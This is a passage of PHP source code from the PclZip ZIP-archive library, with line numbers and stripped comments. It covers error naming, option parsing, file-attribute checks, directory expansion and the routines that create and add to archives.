  759. PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
  760. PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
  761. PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
  762. PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
  763. PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
  764. PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
  765. PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
  766. PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
  767. PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
  768. PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
  769. PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
  770. PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
  771. PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
  772. PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
  773. PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
  774. ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
  775. ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
  776. );
  777.  
  778. if (isset($v_name[$this->error_code])) {
  779. $v_value = $v_name[$this->error_code];
  780. }
  781. else {
  782. $v_value = 'NoName';
  783. }
  784.  
  785. if ($p_with_code) {
  786. return($v_value.' ('.$this->error_code.')');
  787. }
  788. else {
  789. return($v_value);
  790. }
  791. }
  792.  
  793. function errorInfo($p_full=false)
  794. {
  795. if (PCLZIP_ERROR_EXTERNAL == 1) {
  796. return(PclErrorString());
  797. }
  798. else {
  799. if ($p_full) {
  800. return($this->errorName(true)." : ".$this->error_string);
  801. }
  802. else {
  803. return($this->error_string." [code ".$this->error_code."]");
  804. }
  805. }
  806. }
  807.  
  808.  
  809.  
  810.  
  811.  
  812. function privCheckFormat($p_level=0)
  813. {
  814. $v_result = true;
  815.  
  816. clearstatcache();
  817.  
  818. $this->privErrorReset();
  819.  
  820. if (!is_file($this->zipname)) {
  821. PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
  822. return(false);
  823. }
  824.  
  825. if (!is_readable($this->zipname)) {
  826. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
  827. return(false);
  828. }
  829.  
  830.  
  831.  
  832.  
  833. return $v_result;
  834. }
  835.  
  836. function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
  837. {
  838. $v_result=1;
  839.  
  840. $i=0;
  841. while ($i<$p_size) {
  842.  
  843. if (!isset($v_requested_options[$p_options_list[$i]])) {
  844. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
  845.  
  846. return PclZip::errorCode();
  847. }
  848.  
  849. switch ($p_options_list[$i]) {
  850. case PCLZIP_OPT_PATH :
  851. case PCLZIP_OPT_REMOVE_PATH :
  852. case PCLZIP_OPT_ADD_PATH :
  853. if (($i+1) >= $p_size) {
  854. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  855.  
  856. return PclZip::errorCode();
  857. }
  858.  
  859. $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
  860. $i++;
  861. break;
  862.  
  863. case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
  864. if (($i+1) >= $p_size) {
  865. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  866. return PclZip::errorCode();
  867. }
  868.  
  869. if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
  870. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
  871. return PclZip::errorCode();
  872. }
  873.  
  874. $v_value = $p_options_list[$i+1];
  875. if ((!is_integer($v_value)) || ($v_value<0)) {
  876. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  877. return PclZip::errorCode();
  878. }
  879.  
  880. $v_result_list[$p_options_list[$i]] = $v_value*1048576;
  881. $i++;
  882. break;
  883.  
  884. case PCLZIP_OPT_TEMP_FILE_ON :
  885. if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
  886. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
  887. return PclZip::errorCode();
  888. }
  889.  
  890. $v_result_list[$p_options_list[$i]] = true;
  891. break;
  892.  
  893. case PCLZIP_OPT_TEMP_FILE_OFF :
  894. if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
  895. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
  896. return PclZip::errorCode();
  897. }
  898. if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
  899. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
  900. return PclZip::errorCode();
  901. }
  902.  
  903. $v_result_list[$p_options_list[$i]] = true;
  904. break;
  905.  
  906. case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
  907. if (($i+1) >= $p_size) {
  908. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  909.  
  910. return PclZip::errorCode();
  911. }
  912.  
  913. if ( is_string($p_options_list[$i+1])
  914. && ($p_options_list[$i+1] != '')) {
  915. $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
  916. $i++;
  917. }
  918. else {
  919. }
  920. break;
  921.  
  922. case PCLZIP_OPT_BY_NAME :
  923. if (($i+1) >= $p_size) {
  924. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  925.  
  926. return PclZip::errorCode();
  927. }
  928.  
  929. if (is_string($p_options_list[$i+1])) {
  930. $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
  931. }
  932. else if (is_array($p_options_list[$i+1])) {
  933. $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
  934. }
  935. else {
  936. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  937.  
  938. return PclZip::errorCode();
  939. }
  940. $i++;
  941. break;
  942.  
  943. case PCLZIP_OPT_BY_EREG :
  944. $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
  945. case PCLZIP_OPT_BY_PREG :
  946. if (($i+1) >= $p_size) {
  947. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  948.  
  949. return PclZip::errorCode();
  950. }
  951.  
  952. if (is_string($p_options_list[$i+1])) {
  953. $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
  954. }
  955. else {
  956. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  957.  
  958. return PclZip::errorCode();
  959. }
  960. $i++;
  961. break;
  962.  
  963. case PCLZIP_OPT_COMMENT :
  964. case PCLZIP_OPT_ADD_COMMENT :
  965. case PCLZIP_OPT_PREPEND_COMMENT :
  966. if (($i+1) >= $p_size) {
  967. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
  968. "Missing parameter value for option '"
  969. .PclZipUtilOptionText($p_options_list[$i])
  970. ."'");
  971.  
  972. return PclZip::errorCode();
  973. }
  974.  
  975. if (is_string($p_options_list[$i+1])) {
  976. $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
  977. }
  978. else {
  979. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
  980. "Wrong parameter value for option '"
  981. .PclZipUtilOptionText($p_options_list[$i])
  982. ."'");
  983.  
  984. return PclZip::errorCode();
  985. }
  986. $i++;
  987. break;
  988.  
  989. case PCLZIP_OPT_BY_INDEX :
  990. if (($i+1) >= $p_size) {
  991. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  992.  
  993. return PclZip::errorCode();
  994. }
  995.  
  996. $v_work_list = array();
  997. if (is_string($p_options_list[$i+1])) {
  998.  
  999. $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
  1000.  
  1001. $v_work_list = explode(",", $p_options_list[$i+1]);
  1002. }
  1003. else if (is_integer($p_options_list[$i+1])) {
  1004. $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
  1005. }
  1006. else if (is_array($p_options_list[$i+1])) {
  1007. $v_work_list = $p_options_list[$i+1];
  1008. }
  1009. else {
  1010. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1011.  
  1012. return PclZip::errorCode();
  1013. }
  1014.  
  1015. $v_sort_flag=false;
  1016. $v_sort_value=0;
  1017. for ($j=0; $j<sizeof($v_work_list); $j++) {
  1018. $v_item_list = explode("-", $v_work_list[$j]);
  1019. $v_size_item_list = sizeof($v_item_list);
  1020.  
  1021.  
  1022. if ($v_size_item_list == 1) {
  1023. $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
  1024. $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
  1025. }
  1026. elseif ($v_size_item_list == 2) {
  1027. $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
  1028. $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
  1029. }
  1030. else {
  1031. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1032.  
  1033. return PclZip::errorCode();
  1034. }
  1035.  
  1036.  
  1037. if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
  1038. $v_sort_flag=true;
  1039.  
  1040. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1041.  
  1042. return PclZip::errorCode();
  1043. }
  1044. $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
  1045. }
  1046.  
  1047. if ($v_sort_flag) {
  1048. }
  1049.  
  1050. $i++;
  1051. break;
  1052.  
  1053. case PCLZIP_OPT_REMOVE_ALL_PATH :
  1054. case PCLZIP_OPT_EXTRACT_AS_STRING :
  1055. case PCLZIP_OPT_NO_COMPRESSION :
  1056. case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
  1057. case PCLZIP_OPT_REPLACE_NEWER :
  1058. case PCLZIP_OPT_STOP_ON_ERROR :
  1059. $v_result_list[$p_options_list[$i]] = true;
  1060. break;
  1061.  
  1062. case PCLZIP_OPT_SET_CHMOD :
  1063. if (($i+1) >= $p_size) {
  1064. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1065.  
  1066. return PclZip::errorCode();
  1067. }
  1068.  
  1069. $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
  1070. $i++;
  1071. break;
  1072.  
  1073. case PCLZIP_CB_PRE_EXTRACT :
  1074. case PCLZIP_CB_POST_EXTRACT :
  1075. case PCLZIP_CB_PRE_ADD :
  1076. case PCLZIP_CB_POST_ADD :
  1077. if (($i+1) >= $p_size) {
  1078. PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1079.  
  1080. return PclZip::errorCode();
  1081. }
  1082.  
  1083. $v_function_name = $p_options_list[$i+1];
  1084.  
  1085. if (!function_exists($v_function_name)) {
  1086. PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
  1087.  
  1088. return PclZip::errorCode();
  1089. }
  1090.  
  1091. $v_result_list[$p_options_list[$i]] = $v_function_name;
  1092. $i++;
  1093. break;
  1094.  
  1095. default :
  1096. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
  1097. "Unknown parameter '"
  1098. .$p_options_list[$i]."'");
  1099.  
  1100. return PclZip::errorCode();
  1101. }
  1102.  
  1103. $i++;
  1104. }
  1105.  
  1106. if ($v_requested_options !== false) {
  1107. for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
  1108. if ($v_requested_options[$key] == 'mandatory') {
  1109. if (!isset($v_result_list[$key])) {
  1110. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
  1111.  
  1112. return PclZip::errorCode();
  1113. }
  1114. }
  1115. }
  1116. }
  1117.  
  1118. if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
  1119.  
  1120. }
  1121.  
  1122. return $v_result;
  1123. }
  1124.  
  1125. function privOptionDefaultThreshold(&$p_options)
  1126. {
  1127. $v_result=1;
  1128.  
  1129. if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
  1130. || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
  1131. return $v_result;
  1132. }
  1133.  
  1134. $v_memory_limit = ini_get('memory_limit');
  1135. $v_memory_limit = trim($v_memory_limit);
  1136. $last = strtolower(substr($v_memory_limit, -1));
  1137.  
  1138. if($last == 'g')
  1139. $v_memory_limit = $v_memory_limit*1073741824;
  1140. if($last == 'm')
  1141. $v_memory_limit = $v_memory_limit*1048576;
  1142. if($last == 'k')
  1143. $v_memory_limit = $v_memory_limit*1024;
  1144.  
  1145. $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO);
  1146.  
  1147.  
  1148. if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
  1149. unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
  1150. }
  1151.  
  1152. return $v_result;
  1153. }
  1154.  
  1155. function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
  1156. {
  1157. $v_result=1;
  1158.  
  1159. foreach ($p_file_list as $v_key => $v_value) {
  1160.  
  1161. if (!isset($v_requested_options[$v_key])) {
  1162. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
  1163.  
  1164. return PclZip::errorCode();
  1165. }
  1166.  
  1167. switch ($v_key) {
  1168. case PCLZIP_ATT_FILE_NAME :
  1169. if (!is_string($v_value)) {
  1170. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
  1171. return PclZip::errorCode();
  1172. }
  1173.  
  1174. $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
  1175.  
  1176. if ($p_filedescr['filename'] == '') {
  1177. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
  1178. return PclZip::errorCode();
  1179. }
  1180.  
  1181. break;
  1182.  
  1183. case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
  1184. if (!is_string($v_value)) {
  1185. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
  1186. return PclZip::errorCode();
  1187. }
  1188.  
  1189. $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
  1190.  
  1191. if ($p_filedescr['new_short_name'] == '') {
  1192. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
  1193. return PclZip::errorCode();
  1194. }
  1195. break;
  1196.  
  1197. case PCLZIP_ATT_FILE_NEW_FULL_NAME :
  1198. if (!is_string($v_value)) {
  1199. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
  1200. return PclZip::errorCode();
  1201. }
  1202.  
  1203. $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
  1204.  
  1205. if ($p_filedescr['new_full_name'] == '') {
  1206. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
  1207. return PclZip::errorCode();
  1208. }
  1209. break;
  1210.  
  1211. case PCLZIP_ATT_FILE_COMMENT :
  1212. if (!is_string($v_value)) {
  1213. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
  1214. return PclZip::errorCode();
  1215. }
  1216.  
  1217. $p_filedescr['comment'] = $v_value;
  1218. break;
  1219.  
  1220. case PCLZIP_ATT_FILE_MTIME :
  1221. if (!is_integer($v_value)) {
  1222. PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
  1223. return PclZip::errorCode();
  1224. }
  1225.  
  1226. $p_filedescr['mtime'] = $v_value;
  1227. break;
  1228.  
  1229. case PCLZIP_ATT_FILE_CONTENT :
  1230. $p_filedescr['content'] = $v_value;
  1231. break;
  1232.  
  1233. default :
  1234. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
  1235. "Unknown parameter '".$v_key."'");
  1236.  
  1237. return PclZip::errorCode();
  1238. }
  1239.  
  1240. if ($v_requested_options !== false) {
  1241. for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
  1242. if ($v_requested_options[$key] == 'mandatory') {
  1243. if (!isset($p_file_list[$key])) {
  1244. PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
  1245. return PclZip::errorCode();
  1246. }
  1247. }
  1248. }
  1249. }
  1250.  
  1251. }
  1252.  
  1253. return $v_result;
  1254. }
  1255.  
  1256. function privFileDescrExpand(&$p_filedescr_list, &$p_options)
  1257. {
  1258. $v_result=1;
  1259.  
  1260. $v_result_list = array();
  1261.  
  1262. for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
  1263.  
  1264. $v_descr = $p_filedescr_list[$i];
  1265.  
  1266. $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
  1267. $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
  1268.  
  1269. if (file_exists($v_descr['filename'])) {
  1270. if (@is_file($v_descr['filename'])) {
  1271. $v_descr['type'] = 'file';
  1272. }
  1273. else if (@is_dir($v_descr['filename'])) {
  1274. $v_descr['type'] = 'folder';
  1275. }
  1276. else if (@is_link($v_descr['filename'])) {
  1277. continue;
  1278. }
  1279. else {
  1280. continue;
  1281. }
  1282. }
  1283.  
  1284. else if (isset($v_descr['content'])) {
  1285. $v_descr['type'] = 'virtual_file';
  1286. }
  1287.  
  1288. else {
  1289. PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");
  1290.  
  1291. return PclZip::errorCode();
  1292. }
  1293.  
  1294. $this->privCalculateStoredFilename($v_descr, $p_options);
  1295.  
  1296. $v_result_list[sizeof($v_result_list)] = $v_descr;
  1297.  
  1298. if ($v_descr['type'] == 'folder') {
  1299. $v_dirlist_descr = array();
  1300. $v_dirlist_nb = 0;
  1301. if ($v_folder_handler = @opendir($v_descr['filename'])) {
  1302. while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
  1303.  
  1304. if (($v_item_handler == '.') || ($v_item_handler == '..')) {
  1305. continue;
  1306. }
  1307.  
  1308. $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
  1309.  
  1310. if (($v_descr['stored_filename'] != $v_descr['filename'])
  1311. && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
  1312. if ($v_descr['stored_filename'] != '') {
  1313. $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
  1314. }
  1315. else {
  1316. $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
  1317. }
  1318. }
  1319.  
  1320. $v_dirlist_nb++;
  1321. }
  1322.  
  1323. @closedir($v_folder_handler);
  1324. }
  1325. else {
  1326. }
  1327.  
  1328. if ($v_dirlist_nb != 0) {
  1329. if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
  1330. return $v_result;
  1331. }
  1332.  
  1333. $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
  1334. }
  1335. else {
  1336. }
  1337.  
  1338. unset($v_dirlist_descr);
  1339. }
  1340. }
  1341.  
  1342. $p_filedescr_list = $v_result_list;
  1343.  
  1344. return $v_result;
  1345. }
  1346.  
  1347. function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
  1348. {
  1349. $v_result=1;
  1350. $v_list_detail = array();
  1351.  
  1352. $this->privDisableMagicQuotes();
  1353.  
  1354. if (($v_result = $this->privOpenFd('wb')) != 1)
  1355. {
  1356. return $v_result;
  1357. }
  1358.  
  1359. $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
  1360.  
  1361. $this->privCloseFd();
  1362.  
  1363. $this->privSwapBackMagicQuotes();
  1364.  
  1365. return $v_result;
  1366. }
  1367.  
  1368. function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
  1369. {
  1370. $v_result=1;
  1371. $v_list_detail = array();
  1372.  
  1373. if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
  1374. {
  1375.  
  1376. $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
  1377.  
  1378. return $v_result;
  1379. }
  1380. $this->privDisableMagicQuotes();
  1381.  
  1382. if (($v_result=$this->privOpenFd('rb')) != 1)
  1383. {
  1384. $this->privSwapBackMagicQuotes();
  1385.  
  1386. return $v_result;
  1387. }
  1388.  
  1389. $v_central_dir = array();
  1390. if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  1391. {
  1392. $this->privCloseFd();
  1393. $this->privSwapBackMagicQuotes();
  1394. return $v_result;
  1395. }
  1396.  
  1397. @rewind($this->zip_fd);
  1398.  
  1399. $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
  1400.  
  1401. if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
  1402. {
  1403. $this->privCloseFd();
  1404. $this->privSwapBackMagicQuotes();
  1405.  
  1406. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
  1407.  
  1408. return PclZip::errorCode();
  1409. }
  1410.  
  1411. $v_size = $v_central_dir['offset'];
  1412. while ($v_size != 0)
  1413. {
  1414. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  1415. $v_buffer = fread($this->zip_fd, $v_read_size);
  1416. @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
  1417. $v_size -= $v_read_size;
  1418. }
  1419.  
  1420. $v_swap = $this->zip_fd;
  1421. $this->zip_fd = $v_zip_temp_fd;
  1422. $v_zip_temp_fd = $v_swap;
  1423.  
  1424. $v_header_list = array();
  1425. if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
  1426. {
  1427. fclose($v_zip_temp_fd);
  1428. $this->privCloseFd();
  1429. @unlink($v_zip_temp_name);
  1430. $this->privSwapBackMagicQuotes();
  1431.  
  1432. return $v_result;
  1433. }
  1434.  
  1435. $v_offset = @ftell($this->zip_fd);
  1436.  
  1437. $v_size = $v_central_dir['size'];
  1438. while ($v_size != 0)
  1439. {
  1440. $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
  1441. $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
  1442. @fwrite($this->zip_fd, $v_buffer, $v_read_size);
  1443. $v_size -= $v_read_size;
  1444. }
  1445.  
  1446. for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
  1447. {
  1448. if ($v_header_list[$i]['status'] == 'ok') {
  1449. if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
  1450. fclose($v_zip_temp_fd);
  1451. $this->privCloseFd();
  1452. @unlink($v_zip_temp_name);
  1453. $this->privSwapBackMagicQuotes();
  1454.  
  1455. return $v_result;
  1456. }
  1457. $v_count++;
  1458. }
  1459.  
  1460. $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
  1461. }
  1462.  
  1463. $v_comment = $v_central_dir['comment'];
  1464. if (isset($p_options[PCLZIP_OPT_COMMENT])) {
  1465. $v_comment = $p_options[PCLZIP_OPT_COMMENT];
  1466. }
  1467. if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
  1468. $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
  1469. }
  1470. if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
  1471. $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
  1472. }
  1473.  
  1474. $v_size = @ftell($this->zip_fd)-$v_offset;
  1475.  
  1476. if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
  1477. {
  1478. unset($v_header_list);
  1479. $this->privSwapBackMagicQuotes();
  1480.  
  1481. return $v_result;
  1482. }
  1483.  
  1484. $v_swap = $this->zip_fd;
  1485. $this->zip_fd = $v_zip_temp_fd;
  1486. $v_zip_temp_fd = $v_swap;
  1487.  
  1488. $this->privCloseFd();
  1489.  
  1490. @fclose($v_zip_temp_fd);
  1491.  
  1492. $this->privSwapBackMagicQuotes();
  1493.  
  1494. @unlink($this->zipname);
  1495.  
  1496. PclZipUtilRename($v_zip_temp_name, $this->zipname);
  1497.  
  1498. return $v_result;
  1499. }
  1500.  
  1501. function privOpenFd($p_mode)
  1502. {
  1503. $v_result=1;
  1504.  
  1505. if ($this->zip_fd != 0)
  1506. {
  1507. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
  1508.  
  1509. return PclZip::errorCode();
  1510. }
  1511.  
  1512. if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
  1513. {
  1514. PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
  1515.  
  1516. return PclZip::errorCode();
  1517. }
  1518.  
  1519. return $v_result;
  1520. }
  1521.  
  1522. function privCloseFd()
  1523. {
  1524. $v_result=1;
  1525.  
  1526. if ($this->zip_fd != 0)
  1527. @fclose($this->zip_fd);
  1528. $this->zip_fd = 0;
  1529.  
  1530. return $v_result;
  1531. }
  1532.  
  1533. function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
  1534. {
  1535. $v_result=1;
  1536.  
  1537. $v_header_list = array();
  1538. if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
  1539. {
  1540. return $v_result;
  1541. }
  1542.  
  1543. $v_offset = @ftell($this->zip_fd);
  1544.  
  1545. for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
  1546. {
  1547. if ($v_header_list[$i]['status'] == 'ok') {
  1548. if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
